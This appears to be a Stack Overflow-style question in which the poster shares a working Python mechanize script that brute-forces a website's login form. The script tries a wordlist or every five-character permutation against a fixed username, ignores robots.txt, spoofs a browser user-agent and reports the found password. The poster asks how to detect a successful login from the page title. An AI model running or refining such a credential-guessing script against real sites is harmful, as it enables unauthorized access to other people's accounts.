title: Python - mechanize/requests get Title
body: <p>So, I have this brute-forcing script, that basically brute-forces web forms. Say my example site's web-form redirects to the same URL when logged in successfully or not. For example, to login I'd have to go to this site: <a href="https://example.com/account/" rel="nofollow">https://example.com/account/</a>, when I type a wrong username/password, it doesn't change the URL of the page. Everything stays the same. And if I DO type the correct username &amp; password, it changes the page title, but the URL still stays the same.</p>
  
  <p>I want to change: <code>response.geturl() --&gt; response.gettitle()</code> But I'm not sure what's the correct attribute for this.</p>
  
  <p>My Code:</p>
  
  <pre><code>#!/usr/bin/python
  import mechanize
  import itertools
  import sys
  import os
  
  br = mechanize.Browser()
  br.set_handle_equiv(True)
  br.set_handle_redirect(True)
  br.set_handle_referer(True)
  br.set_handle_robots(False)
  ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)'
  br.addheaders = [('User-Agent', ua), ('Accept', '*/*')]
  
  if len(sys.argv) &gt; 1:
      if os.path.exists(sys.argv[1]):
          combos = [line.strip() for line in open(sys.argv[1])]
      else:
          print "[-] File not found"
          sys.exit()
  else:
      combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",5)
  
  r = br.open("https://example.com/account/")
  
  for x in combos:
      br.select_form(nr = 0)
      br.form['login'] = "my_username"
      br.form['pass'] = ''.join(x)
      print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['pass']
      response = br.submit()
      if response.geturl()=="https://example.com/account/":
      #if response.gettitle()==...
          print ""
          print "\033[1;32;48mPassword found:"+"\033[1;36;48m",''.join(x)
          break
  </code></pre>